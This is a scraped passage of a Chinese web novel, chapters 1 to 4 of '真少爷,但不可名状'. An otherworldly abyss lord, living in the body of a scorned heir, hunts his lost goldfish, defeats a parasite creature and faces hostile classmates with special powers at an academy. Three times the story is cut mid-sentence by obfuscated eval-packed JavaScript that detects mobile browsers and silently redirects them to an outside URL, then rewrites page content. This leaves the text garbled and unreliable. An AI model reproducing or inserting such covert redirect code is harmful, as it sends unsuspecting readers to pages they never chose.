《真少爷,但不可名状》 1. 第 1 章 “咚、咚、咚。” 房门被人敲了三下,管家冷漠的声音从外面响起。 “二少爷,该出发了。” 江秉烛睁开眼,他半躺在床上,映入眼帘的,是一本微微泛黄的日记。 阳光从窗帘的缝隙里漏过来,照亮他的卧室。脚下是摊开的行李箱,床上摆着翻开一半的书,桌子上堆满了试卷……一切都和他所熟悉的深渊截然不同。 江秉烛反应了好一会儿,才意识到管家原来是在喊他。 因为他并不是江家那位原装的二少爷。 江秉烛来自于一个诡异横行的位面,他生活在大陆之外的深渊里,目前最大的爱好是闲逛摸鱼——物理意义上的摸鱼。 他在深渊里养了一池金鱼,每一条都听话又漂亮,看着它们发呆都是一种享受。 江秉烛对自己无所事事的养鱼生活十分满意,直到几天之前,诡异世界中突然出现了几道时空裂隙。 其中一道还好巧不巧地闪现在深渊,吞掉了他的一池金鱼。 江秉烛:“……?” 鱼!他含辛茹苦才养大的鱼!! 江秉烛想都没想,当即追着时空裂隙的痕迹,来到了这个人类和异能者并存的世界。 好消息,他确认自己的鱼还活着。 与诡异世界相连的空间裂隙会在周遭带来异变,他的鱼很可能出现在附近。 但坏消息是,他的力量和这个位面互相排斥,如果贸然动用,大概率会让他的鱼死于非命——江秉烛追了一大圈,当然不是为了把鱼的亡魂带回去的。 于是,他分出一小部分意志降临到这个世界,与一名濒死的人类少年进行交易。他获得了少年的身份,成为了如今的“江家二少爷”。 “二少爷,请不要再浪费时间了。” 门板被人重重砸响,管家的喊声更高了一些,语气低沉,带着几分警示的意味。 ……其实他真的没有在浪费时间。 江秉烛尝试了几下,才让自己从床上坐起来。 为了不动用过多力量,他按照原来那名人类少年的数据给自己捏了个小号,只是隔着几层位面,意志的投射时断时续,他对目前这具人类身体适应得不是太好。 “咔哒”一声,门锁转动。 江秉烛还没来得及做出回复,管家已经擅自推门进来了。 他居高临下地扫视着江秉烛的房间,眉头紧紧拧成一个“川”字型:“房间乱成这个样子,成何体统?” 江家是极其显赫的异能家族,哪怕在京城那种卧虎藏龙的地方也有一席之地。管家在江家任职二十多年,本人也是小有成就的异能者,举手投足间自带一种威严,面对江秉烛,丝毫不用掩饰自己的轻蔑。 因为这位二少爷一直流落在乡下,是十七岁才被江家找回来的孩子,更因为他是一个普通人。 异能者数量稀少,普通人并不知道他们的存在,也永远想象不到他们掌握了多么可怕的力量。 一般来说,血脉越强大的异能者,子女也会越发出色。可江秉烛,这个在外流落十七年,因为意外才被他们找回家中的孩子,身上竟然没有一丁点儿异能的痕迹,是个彻头彻尾的普通人。 这简直是整个江家的耻辱。 如果传出去,就连管家都会脸上无光。 不像原本行二的那位“假少爷”江亦宁,管家想。虽然江亦宁是被抱错的那个孩子,但是他聪明善良,高贵得体,异能天赋极高,向来让江家人极为骄傲。 “收拾垃圾,就不要花太多时间了,”管家看看眼前一无是处的江秉烛,简直烦躁到了极点,“今天是开学第一天,亦宁少爷从来都是这种场合最受关注的存在。” “二少爷您……虽然不能像亦宁少爷一样优秀,但起码要做到不迟到吧?” 大概是人类身体的缘故,江秉烛困得要命,当着管家的面打了个哈欠。 管家被他混不吝的样子气得面容扭曲,江秉烛揉了揉惺忪的睡眼,没太当回事。 江家的情况,原主都在日记里写过。江亦宁在京城最好的学校接受异能训练,被江家人寄予厚望。 而他因为没有异能,被家里扔到了京城之外的第二城,塞进一所普通人就读的寄宿制贵族学校。 今天就是开学的日子,江家所有人都在江亦宁的开学典礼上,只派了一名管家来,只要把江秉烛送进学校就万事大吉。 不然,以他这副上不得台面的懒散做派,留在京城,只会让江家不断丢人。管家想着,翻了个白眼。 他抬起手腕,看了眼时间,最后一次催促:“十分钟后,不管你收拾成什么样子,我们都会立刻出发。进了学校,可没人有空等你。” “还有,像先生和夫人特别叮嘱过的那样,不要在普通人面前提到异能,更不要提到江家,”管家疾言厉色地说,“亦宁少爷是江家的骄傲,而你……” 管家顿了顿,像是给江秉烛下达判词一般。 “还配不上这个姓氏。” 一个姓氏,还有配不配之说吗? 这里的人类可真严格啊。 江秉烛小小震撼了一下,抬起手,把原主的日记收进背包。 管家对他的态度一直是冷嘲热讽,在转述刚才这句话时,却并没有添油加醋——他说得每一个字,都是江家夫妇的原话。 真少爷在外流落十七年,终于找回了亲生父母,却不能对外人提起自己的家庭。 这和人类宣扬的道德标准挺不一样的。 管家又催促几句之后,便摔上门离开了。江秉烛自己是个没有异能的废物不说,带的也都是点没用的垃圾,奇形怪状的破石头,烧得只剩半截的羽毛。 回收站都不会收走的东西,这位真少爷竟然能在京城捡到,还真是“天赋异禀”。 江秉烛留在房间里,一样一样地收拾着他的家当。他来到这个世界已经一周,大部分时间都在学习适应人类身体,不过,也拥有了一些意外的家当。 他找来一个盒子,把那些零七八碎的东西挨个放在格子里,塞进行李箱的角落。 江秉烛的行李不算多,只是他控制人类的身体还不太熟练,走下楼梯也花了一阵功夫。 与此同时,管家早已经备好了车。 按理讲,江家的少爷出行,肯定是要专门配备司机的。但江秉烛身份尴尬——既没向外宣告,本人又被“流放”到第二城来,显然不算正儿八经的少爷,照顾他是人人都想推卸的活。 这种苦差事,怎么就落到自己头上了呢!管家不耐烦地在心里暗骂,坐在驾驶座上,冷眼看江秉烛拎箱子。 手无缚鸡之力的真少爷为此花了太久,终于有侍者站不下去了,这才姗姗来迟,提着行李箱放进车里,然后替他拉开了车门。 江秉烛坐进车里,相当理所应当地往座椅上一靠,姿态十成十的懒散,没有一点儿贵族该有的气质。 管家看着他,心里又骂了一句“无可救药”。 “祝您一路顺风,”车外,侍者公式化地说,“新闻里说,最近第二城有一些诡异生物出没,请您一定小心。” 京城最近有些特别的诡异生物出现,管家是知道的。 但第二城这种偏僻的地方能有什么?就算有,也都是一只手就能灭掉的小垃圾罢了。 管家心中轻嗤一声,懒得听没用的寒暄,发动了车子。 轿车一路驶出庄园,逐渐消失在道路尽头。 侍者目送他们远去,从衣兜里拿出手机,熟练地拨响了一个联系人的号码。 “都按您吩咐的做了,那种诡异生物会轻易地要了他的命,”他对着听筒开口,声音依旧古井无波,“没人会怀疑到您头上。” “您才是江家的二少爷。从前是,往后也会如此。” —— 从这处闲置的别墅到克莱登学院有一段距离,管家又重复起江家长达一百条的冗长家规,并且自顾自为每一条进行详细且画蛇添足的解说。 该说不说,这玩意挺催眠的。 江秉烛懒散地靠着后排座椅,望着窗外发呆。 高楼与绿树被虚化成几道颜色各异的影子,飞速消失在他们身后。白色的雾气一点一点从后方蔓延过来,像是有生命般缓缓地吞噬着道路。车窗外的世界被彻底隔绝,雾气淹没了天空,也淹没了前路。 管家仍在喋喋不休,连声音都因此变得干涩沙哑,然后再也挤不出话。 直到江秉烛收回目光看向他时,管家才终于停了下来,舔了舔自己干裂的嘴唇,急切地摸索着车上的水瓶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575299|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杯子里只剩下一点点浑浊的液体,他用力仰起脖子,卷走了最后一滴水珠。可那股焦渴却没有丝毫缓解,反而变本加厉,像有什么东西在他体内啃噬一样。 好渴。 管家的指尖微微颤抖,死死抓着方向盘,指节因为用力过度而泛白。他盯着后视镜,眼神带着一种诡异的贪婪:“你带水了吗?” 江秉烛一撩眼皮:“我只拿了水杯。” 没有水。 管家怔了一下,大脑有片刻的空白。 他都快要渴死了,怎么会没有水?他们已经在路上很久了,应该快到学校了……对,学校! 管家猛然打起精神,视线回归到前方。可他看到的,只有无尽的白色。 ——前方没有风,也没有光,浓雾以一种不自然的形态铺展着,像是一层厚重的灰色沙砾,严严实实地落在他的头顶。仪表盘上的指针一动不动,时间仿佛也停滞了,车内的空气干燥得令人窒息。 管家的手指在方向盘上绷紧,某种不可名状的恐惧正攀附着他,自后脊缓缓爬升向上。 忽然,一道模糊而熟悉的低语响起,那声音仿佛是直接从他脑子里冒出来的似的: “渴……我好渴……” 管家的脊背骤然绷紧,他猛地扭头,看向后面—— 后排仍然只有少年单薄的身影,车里没有第三个人。 可在模糊的车窗倒影里,在那片死寂的白雾之中,他看到了一张嘴。 那嘴就贴在他的脑后,唇瓣干裂,血丝密布,它缓缓地张合着,吐出相同的字句—— “渴……我好渴……” 不对! 管家心神一震,这是一种诡异生物! 作为一名京城出身的高级异能者,只要使用能力,大部分诡异生物都会被他清除。 可现在附身他的东西,实力远比他想象得要强。它在抢夺着他身体的控制权,而自己竟然毫无还手之力。 管家能感觉得到,他的意识在渐渐模糊。如果没有人干预,他可能真的会死在这只诡异生物手下! 可是,这里有谁能救他呢? 四周全是能将人淹没的浓雾,除他之外,整片空间里只有…… 管家绝望地看着前方,后视镜中映出江秉烛那张平静无波的脸,和一双黑白分明的眼睛。 ——只有一个废物得连异能都没有的真少爷在。 “没有丝毫异能的废物真少爷”对此一无所觉,慢悠悠换了个舒服点的姿势坐着。 他打量着管家,也看着管家后脑勺上新长出来的“嘴”。 江秉烛花了一阵功夫才想起来这是什么——“吸髓者”,一种游荡在深渊边缘的诡异生物,本体像是小虫子,是种很擅长隐匿、相对狡猾的生物。 它们对液体有一种疯狂的渴求。在吸干周围的水后,它们也会去寻找别的目标,血液、组织液、甚至脑浆。 这种虫子有一到两天的潜伏期,在成功附身之前,几乎没人能察觉到它们的存在。这是江秉烛离开京城的第三天,他直到今天早上才在管家身上发现了异样。 吸髓者唯一的栖息地就是深渊,管家能遇到它,必然靠近了与深渊相连的时空裂隙——有可能就是带走他的金鱼的那一段。 他需要知道管家最近去了哪里,接触过什么东西,这很重要。 江秉烛思索的同时,管家身后那张“嘴”已经越咧越大,将他原本的五官挤压得几乎难以窥见。 “渴……渴……” 嘶哑可怖的音节在喉间滚动,凑成支离破碎的语句。 显而易见的是,现在并不是交流的好时机。江秉烛叹了口气。 浓烈的血腥味蓦地弥漫开来,粘稠、腥甜,带着腐朽的气息。那张“嘴”拖着管家的身体,从后座缓缓探出,到逼近江秉烛十余公分的距离才停下。 它贪婪地嗅了嗅,浸满了血液的唇瓣张合,声音里透露着垂涎。 “你……你闻起来很甜。” “可以把你的血,给我喝吗?” 江秉烛:“……” “你还挺有礼貌呢,”他真诚地感叹着。 回应他的,是吸髓者癫狂的咆哮。 “不过,不可以,”江秉烛平静地回应,“我还有事要做。” 2. 第 2 章 江秉烛话音落下的那刻,车内外猛地涌上更浓稠的白雾。 这些雾气来自诡异大陆,联结着深渊,每一丝每一缕中都蕴藏着极强的能量。吸髓者一族借助它来捕猎,极少有人能挣脱。 吸髓者的“嘴”撕开更大的幅度,几乎蔓延到管家的肩膀。从江秉烛的角度,能清晰地看到那张嘴里正不断长出尖利的牙齿,新生的牙叠在旧的上面,密密麻麻地围成了一层又一层。 随着吸髓者的动作,那一圈牙在它的口腔中旋转,像一台削铁如泥的绞肉机。牙与牙之间的釉质不断摩擦,发出刺耳的声响。 深渊内的任何生物都极其可怕,哪怕吸髓者只是在深渊最边缘游荡的小虫子,也需要许多资深的异能者合力才能解决。 管家是四级异能者,在这个世界已经算得上是高手,却并没有独自一人对抗一只吸髓者的力量。 而江秉烛作为一个没有异能的普通人,更是如此。 一根根卷曲的细长口器从吸髓者牙齿的缝隙中长出来,猛地向猎物所在探去! 江秉烛依然坐在原地,像是被吓到失去神智了一样,不躲也不闪。 狰狞可怖的口器飞速刺来,一路向前,顷刻间就要穿透人类脆弱的身躯! 可就在下一秒! 吸髓者的攻击突然停住了。 口器凝滞在距离江秉烛不到一公分远的地方,未干的涎水仍在下淌。 江秉烛依然像个没事人。 少年翘着腿,懒洋洋靠在后排座椅上。他的姿势和之前一样,原来清秀温良的面容却悄然发生了变化。 他黑色的瞳孔被一抹深红取代,五官的轮廓也一点点凌厉起来,变得异常妖异而俊美。 吸髓者却根本不敢抬头,直视他的面容。 明明只要再前进一点就能杀死美味的猎物,可它此时连动都动不了一点。它的口器与身躯,都在以微弱的幅度不停颤抖。 ——不是因为激动,而是恐惧。 “你、你,你……”吸髓者的喉咙中发出破碎的声音。 “我什么我?”江秉烛奇道,“你是只结巴来着?” 他还是头一次知道,诡异生物也会有这毛病。 不过既然如此,对它们问话的时候,应该会很耗时间吧。 唉,他只是想找几条金鱼而已,为什么要这么麻烦。 江秉烛叹了口气。 可还没等他开口,那只静默良久的吸髓者猛地发出一声扭曲的尖叫,像是骤然撞见了某种无法直视的恐怖。 它的身体疯狂抽搐,不受控制地蜷缩成一团,一颗颗层叠的牙齿从血肉里剥落,溶解成一滩粘稠的黑色死水。 到最后,只剩两颗腐烂充血的眼珠,死死地盯着……江秉烛的脚下。 江秉烛:“?” 他顺着那双死不瞑目的眼睛低下头,然后,他发现自己脚下,属于人类的影子不知何时消失不见了。 取而代之的,是一片无光的深渊。 黑暗浓稠得像能凝成实质,幽微的光影间浮现出扭曲的轮廓:两轮凌空的血月,巨大的黑色殿堂,一根根布满神秘符文的触手挤出深渊的裂痕,向新的位面侵袭。 祂们出现的那一刻,整个世界都跟着产生动荡。 直到…… 扭曲的触手被人一脚踩住,使劲踢了回去。 世界的动荡停止了。 江秉烛收回脚,有点心虚地摸了摸鼻子。 一不小心没看住,他的影子自己出来透气了。 还好出来的时间不算长,应该不会在人类世界造成太大的骚动。 他又看了看吸髓者那两颗硕果仅存,被污染得不剩任何价值的眼珠子,当机立断,把它们一起踢进了深渊的裂缝里。 毁尸灭迹.jpg 现在只剩一个问题了。 江秉烛看向前方,随着吸髓者的死亡,雾气也在渐渐淡去,但方才影子留下的气息却依然盘桓不去。 如果不加遮掩,会有很多异能者被吸引注意。来得人多了,他找金鱼就麻烦了。 江秉烛思索片刻,打了个响指。 一抹流光从管家倒下的身体中飞出,萦绕在他的指尖,化为一柄银亮的小刀。 这是管家的能力,B级异能“尖刀”。 原主没有异能,为了不让力量与这个位面产生冲突,江秉烛也并不打算使用自己的权柄。 但这不代表,他用不了别人的异能。 “解构”是江秉烛与生俱来的天赋,能让他对任意异能者的能力进行解析、复制。 管家异能幻化出的银色尖刀悬于空中,江秉烛只是瞥了两眼,反手将刀扔了出去。 下一秒,一片银光洒落,纵横交错的刀锋像是密不透风的雨幕,在降落的瞬间,轻而易举地洗刷了在这里存在过的能量痕迹。 搞定。 江秉烛挥了挥手,徘徊的浓雾彻底散去。周遭的空间一阵变化,他回到了车里。 他抬起眼向窗外看,车子正停在一处服务区。管家晕倒在驾驶座上,第三与第四节颈椎间,出现了一道虫子攀爬般的深色疤痕。 那就是吸髓者寄生过的地方。 吸髓者死状凄惨,管家的体征倒还算正常,只是不知道什么时候能醒。 “啪。” 因为他的动作,有什么东西从管家的口袋里掉了出来。江秉烛把它捡了起来。是个便签本,管家用来记录每天的待办事项的。 便签本上的记录很完善,江秉烛很快就翻到了自己想要的内容。 自从抵达第二城以来,管家几乎都待在庄园,大多数事情都被他安排给了佣人,他亲自出门去办的事只有一件—— 昨天上午,去克莱登学院办理真少爷的入学手续。 江秉烛思索片刻,打开了行车记录仪。管家的行程没有任何异样,去克莱登学院时,走得甚至是和今天一模一样的路。 到目前为止,江秉烛还没有在这条路上感受到时空裂隙的痕迹。那所学校很可能就是管家接触到吸髓者的地方。 人类的学校么……确实有必要去一趟了,江秉烛想着,把便签本塞回管家的口袋。 过了几十分钟,管家悠悠转醒。 诡异生物、附身、浓雾……昏迷前的种种记忆一齐涌上心头,他猛地坐直身子,发动异能“尖刀”,警惕地环视四周。 可是车厢内除了他和江秉烛外,没有任何别的活物存在。 只有些许残存的气息,昭示着这里曾经有过一场异能者与诡异生物的激烈争斗。 有高人从那东西的口中救了他? 管家这才感到一阵劫后余生的庆幸,沉下心分析着遗留的异能痕迹,但越是分析,便越是心惊。 ——那只诡异生物比他想象中强大得多,除了本身的力量外,还有一丝不可名状的恐怖气息萦绕其中。 管家连它都没有触碰到,心中就升起了极度危险的预警,好像只要再往前一寸,他连灵魂都会碎裂在这股气息之下! 他不过探查了几秒,可回过神来时,背后的衣服已经被冷汗打透。 那只诡异生物到底是什么东西,竟然会出现在第二城! 管家脸色几经变幻,更想不出是什么样的高手能击退那么恐怖的诡异生物。 尤其是,那个高手的异能……其实和自己的能力“尖刀”极其相似! 对于“尖刀”能造成的伤害,他心里有数。在他手里,绝对没办法解决那只诡异生物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575300|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这说明,刚才的高手的异能一定极其强悍,水平比他最先判断的还要高出几倍! 管家心里隐隐浮现出一个答案——“希格尔德”,一周之前,突然出现的一名强大异能者。 他猛然回过头,看向车座后排。 江秉烛依旧坐着,没什么形象地靠在车后座上,比之前还不着调。他的面容和之前比似乎有一些微妙的变化,具体细节说不上来,就是让人觉得更俊秀了一些。 管家可没空去研究这位真少爷的长相,忍着心里的烦躁问:“这里刚刚有没有人来过?” 江秉烛说:“没有。” 对于这个回答,管家倒不意外。 高人神出鬼没,一定有他的道理。不想被一个平平无奇的普通人看见,更是情理之中。 管家本来也只是随口一问,就没指望江秉烛能提供什么有用的信息。 等把这个废物的真少爷送进学校,他就要和江家上报今天的事情。运气好的话,说不定还能找到出手救下自己的那位高人,跟他学习操纵异能呢! —— 克莱登学院,顶楼活动室。 A班的十二名学生围着一张长桌而坐,眉头紧锁,面色凝重。 除了上课之外,他们很少这么整齐地聚在一起。 坐在主位上,最有气势的男生环视四周,缓缓开口。 “从诡异世界回来之后,这是我们第二次召开集体会议。” “最近出现的诡异生物越来越多了,外面的诡异事件频发不说,学校里的那些……更是连我们都无法解决。” 听见这句话,其余十一名学生的表情明显不自然起来。 正如赵一清所说的,他们班曾经全员穿越到一个充斥着异能与怪物的诡异世界。 他们被分散在世界不同的角落,获得了不同的身份,但一样的是,那里遍布危险,活着的每一秒都需要殚精竭虑。 所幸,他们逐渐掌握了在诡异世界生存的规则,活了下来,还成为了异能者。 一年前,A班学生又穿了回来,并且保有着自己的异能。然而,他们发现,一些诡异生物也开始在第二城出没。 A班学生:这不行!!! 好在出现在这里的诡异生物都没那么强大,以他们的战斗经验可以轻松解决。 于是,他们共同隐瞒了这个秘密,在上学的同时保护自己的家园。 可是现在,他们遇到了棘手的问题。 “数量多倒不算什么,”一名学生挠了挠头,“主要是学院里的那些,以我的力量,无法对它造成有效伤害。” 他旁边的人高傲地冷哼一声:“别说你那鸡肋异能,就连我也——” “不是,等等!你一个辅助系,dps才多少,好意思说我异能鸡肋?” “铁打的辅助,流水的C。我进国王工会的时候,你还没出新手村吧?” “你——” “好了!” 一道沉稳而威严的声音打断了二人的争执。 赵一清低沉开口:“合作。” “既然凭借自己的力量都无法打败诡异生物,那我们就必须合作。我们现在需要的是可行的方案,而不是没有意义的争吵。” 听完这话,其余人沉默地点了点头。 “另外,”赵一清继续说,“我们班马上要来一个新的转学生,一个一无所知的普通人。” 有人皱了皱眉:“普通人?那肯定会给我们添乱!对付诡异生物的时候我们可不能分心,得防患于未然。” “我也是这样想的,”赵一清用指节叩击着桌面,目光环视长桌,停在了最末尾的一人身上。 “这件事交给你。一周之内,让那个转学生离开我们班。” 3. 第 3 章 由于吸髓者带来的变故,江秉烛到达克莱登学院时,已经快中午十一点了。 A班的老师显然对“路上遇到车祸”这么个离谱的借口毫无兴趣,连眼神都吝啬给他一个,只是随意交代了几句,就打发江秉烛自己去学生公寓收拾行李,准备上课了。 克莱登学院的占地面积大得像座城市,园林与建筑星罗棋布,大理石铺就的回廊在晨光下泛着柔和的光泽。江秉烛从校长办公室走到学生公寓,足足用了二十分钟——沿途雕塑成列,花圃修剪得一丝不苟。 江秉烛环视着四周,却没有看花,也没在欣赏那些考究的建筑。 时空裂隙的出现是完全随机的,江秉烛不知道它可能落在什么地方。他需要在克莱登学院多呆一阵子,才能探索完这个地方。 江秉烛计划着,先拖着行李箱,走进了学生公寓。 克莱登学院没有合住的概念,学生们居住的是独立的一室一厅公寓,只会共享一些公用设施。但他们的“公用”显然和外界的理解很不一样,就连一间活动室都大得能被人当作是宴会厅。 江秉烛乘电梯直上顶层,一推开门,便走进了A班专属的那间活动厅。 活动室空间很大,地面上铺陈着柔软细腻的羊绒地毯,沉稳的暗色调书架与沙发错落有致,明亮的天光透过巨大的落地窗映射进来,照得整个空间静谧而疏朗。 但此时,偌大的房间里,只有一个人在。 那是名浅棕色头发的学生,他窝在沙发里,头戴耳机,膝盖上搭着电脑。 听见脚步声,他没有起身,手指在键盘上飞快地敲击了几下,然后才抬起头,目光随意地打量着江秉烛,从上到下,带着某种审视的意味。 他问:“你就是新来的转学生了?” 江秉烛停下脚步,看了看眼前的学生:“嗯。” “那你最好趁早退出,”时家尔不耐烦地说,“我不知道你是怎么打通学院关系,转到我们班的。但我开门见山地说了——这不是适合你的地方,A班不欢迎转学生。” 克莱登学院的学生非富即贵,A班的十二名学生更是其中翘楚。第二城每年有无数人想转进A班,打着学习的幌子结交这帮贵族少爷们,日后好攀关系。 这样的人最讨厌了,每次他们对抗诡异生物时,只会在旁边添乱。时家尔光是想想就头疼,他被烦得要死,看江秉烛的眼神里天然带着几分厌恶。 江秉烛却像是完全没听出来他的言外之意:“可是我已经打算留下来了。” 有关金鱼的线索就在克莱登学院,他感觉得到,这里有不少诡异生物,或许都能给自己提供信息。 时家尔脸色一沉,脑海中浮现出许多不愉快的记忆。 转学生们永远都是这样——听不进去人话,硬要留在A班,到头来只会拖后腿,平白给人添麻烦。 不过,见识了这么多转学生,时家尔早就知道该怎么对付他们了。 “你偏要留下的话,也可以,”他说,“只不过,我们班有些不成文的规矩。转学生,你胆子大吗?” 人类学生聊天,话题转变得这么突兀吗? 江秉烛感慨了一下,慢悠悠地回答:“还可以。” 时家尔差点儿笑出声——转学生皮肤白,个子高,长相有种非同一般的乖巧漂亮,像经典影视剧里的那种文弱书生。别说胆量了,时家尔怀疑这家伙看到只虫子都会尖叫出声。 “是吗?”他轻嗤一声,继续道:“那你对鬼,或者是……诡异生物,有什么感觉吗?” 江秉烛:“……” 他诚恳地重复:“还可以。” “你还挺人不可貌相的,”时家尔随口嘲讽了一句。 江秉烛的回答没有任何信息含量,简直是废话文学的教科书。不过时家尔也没指望从转学生嘴里听到什么有用的东西,他之所以聊起这些有的没的,只是为了满足异能的发动条件。 时家尔是一名异能者,他掌握的两项异能帮助他在诡异大陆摸爬滚打、幸运地生存了下来,也让他在回到人类世界后,为A班赶走了许多只会拖人后腿的转学生。 他的异能之一叫做“审判之眼”,在和选定目标有五分钟以上的交流后,就可以朝对方发起评估,量化对方的生命状态、攻击、精神抗性等一众数值,当对方面板低于自己时,还能探测出对方拥有的异能。 五分钟的尬聊已经满足,转学生的数值面板此刻就摆在时家尔眼前。 【姓名:江秉烛】 【生命:40】 【攻击:20】 【防御:10】 【精神抗性:65】 【异能:无】 “审判之眼”量化出来的数据,一般以40为及格线,60为普通人的平均水平,上不封顶。比如时家尔就曾经有幸在诡异世界见过一位圣殿骑士的面板,生命与防御面板高达四位数。 至于那些过于强大的异能者,他们的数值已经超出了他异能的解析范围,就会被主动标注为【不可检测】。 江秉烛这个数值实在平平无奇,攻击和防御更是低得惨不忍睹,甚至不如克莱登学院一个普通学生。 时家尔看着这个面板,更加确定江秉烛之前那两句“还可以”是为了面子,信口胡诌的。 这样的转学生最好对付。 时家尔冷笑了一声,手指漫不经心地敲了几下键盘,把江秉烛的面板数据发在A班班群里。 【12:看见转学生了,从来没见过这么幽默的面板】 原本一片安静的班群里,立刻有许多人冒了出来。 【9:天呐,这什么数值啊?去医院找个人,也该比他健康吧?】 【5:要不要打个赌,这次的转学生几天能被吓走?】 【7:五天以内。不知道克莱登在想什么,这种人也敢塞进我们班。这对时家尔倒是挺友善的,除了虐菜以外,也没法指望他干别的了】 【9:@12 有人嘲讽你呢,要不打一架?】 眼见班群里的人都开始起哄,时家尔气得面容扭曲了一秒,恶狠狠地打字。 【12:两天,足够了】 他发完消息,一把合上电脑,吊儿郎当地朝江秉烛招了招手。 “不是我吓唬你,这所学校里,有一点脏东西,经常有学生被吓得魂不守舍。我们A班呢,最讨厌大惊小怪的人,你要真想留下,就得证明自己不是个胆小鬼,别整天在我们面前鬼哭狼嚎的。” 江秉烛问:“怎么证明?” “很简单,”时家尔说,“学校里有一座废弃的图书馆,你要是能在里面待够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575301|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五个小时,就算通过了第一关。” 当然,这只是个托词。 时家尔的第二项异能叫做“噬梦”,这是一项精神系异能,可以让敌人陷入真实的梦魇,也可以为敌人编织恐怖的幻境,从而达到精神攻击的效果。而废弃图书馆这种常年阴冷、气氛阴森的地方,正是最适合施展“噬梦”的场所。 之前妨碍到他们的转学生,在被恐吓过几次之后,无一不灰溜溜地离开了A班。江秉烛整个面板弱得令人发指,数据最高的一项精神抗性也不过是普通人水平,比原来那些转学生还好对付。 “我给你两天时间准备,”时家尔说,“什么时候敢去试炼了,就来告诉我。” 江秉烛:“现在就可以。” 这么爽快? 时家尔有点意外,盯着他看了两眼,冷笑一声:“好啊。” 转学生这么轻易就答应是个好事,给他省了不少麻烦呢! 他当机立断,带着江秉烛往图书馆走。 时家尔固然有刻意吓唬人的意思,不过废弃图书馆里,确实有点东西。 克莱登学院最近诡异频出,除了他们所有人都无法对付的那个强大生物外,还有一只“藏书鬼”被班长赵一清封印了起来——那东西根本没有实体,物理攻击很难伤害到它。 其实,精神系异能在这种情况下是最有效的,可是藏书鬼可以随意寄居在书籍与文献当中,它又刚好出现在图书馆里。时家尔的攻击根本擦不到它的边,更何况,他们中没人仔细研究过这种诡异生物的习性,不知道它害怕什么生物,噬梦无法有效地对它形成恐惧。 好在藏书鬼攻击力并不算高,赵一清的封印能维持很长一段时间的稳定,直到他们A班成员找出根除它的办法。 因此,时家尔并没有把藏书鬼的存在放在心上,他有十足的把握,今天就让江秉烛转离A班。 为了等下施展“噬梦”,他还提前在脑海里回忆了一些之前见过的诡异生物——他在诡异世界摸爬滚打三年,也是见过世面的。甚至还有一次非常幸运的,远远拜见了传说中那位至高存在手下的神使。 用这些来吓退一个转学生……简直是杀鸡用牛刀。 —— 江秉烛跟着时家尔,从学生公寓一路穿过校园,走向那座地处偏僻的废弃图书馆。 这栋建筑隐匿在校园深处,几乎被人遗忘,只剩下枯死的藤蔓攀附在斑驳的墙壁上,偶尔被风吹得沙沙作响。 江秉烛沿着小径,一步步走到图书馆前,伸手推开了那扇厚重的大门。 “吱呀——” 陈腐的气息扑面而来。 他迈步走了进去,老旧的地板在脚下发出细碎的咯吱声,身后的大门缓缓闭合,最后一丝天光被彻底隔绝在外,黑暗吞没了一切。 废弃图书馆内,厚重的窗帘死死封住所有光源,阴冷的空气中弥漫着无法言喻的沉闷感。整个空间里空无一人,一排排书架沉默地伫立着,像是堆一字排开的墓碑。 江秉烛望着脚下的木质地板,挑了下眉。 下一刻,黑暗中蔓延出无数诡异的影子,邪恶可怖的低语声混杂在一起,凝成一阵阵掠过耳畔的阴风。 异能“噬梦”,发动成功。 时家尔扬起嘴角,露出一抹胜券在握的笑。 4. 第 4 章 在“噬梦”的作用之下,无数时家尔脑海中模拟的诡异生物降临到现实之中。 废弃图书馆中阴风阵阵,“噬梦”构造的诡异生物环绕着江秉烛,错乱的呓语回荡在死寂的空间中。 时家尔收回手,重新带上了耳机。 他完全能想到江秉烛是什么反应:被吓到尖叫,或者哆嗦着说不出话,等反应过来之后就什么都顾不上得往外跑,然后大喊大叫着“有鬼啊”这样的蠢话。 他们可能会找到校长,但学校对这种事根本束手无策。时家尔傲慢地想,他的异能早就练得炉火纯青,普通人再怎么调查,又能发现什么?就算真的发现不对,他们能把他怎么样? 这可不是在诡异大陆,整个人类世界,也就只有京城那些传承许久的异能者世家值得他忌惮。 江秉烛的精神抗性平平无奇,他和之前那些转学生没有区别。 时家尔脑补得很开心,甚至不自觉地勾起了嘴角。 异能已经生效,他没打算在黑漆漆的图书馆里面多留,把江秉烛留给那些模拟出的诡异生物,摸出手机,自己轻松地向外走。 他打开微信,A班班群里,那帮家伙竟然还在打赌他什么时候能通过“噬梦”赶走转学生。 这也太怀疑他的能力了吧! 时家尔立刻在群里发了条消息。 【12: 瞧不起谁呢[愤怒][愤怒]】 【12:转学生都被我吓得要收拾行李走人了,不信旧图书馆见啊!】 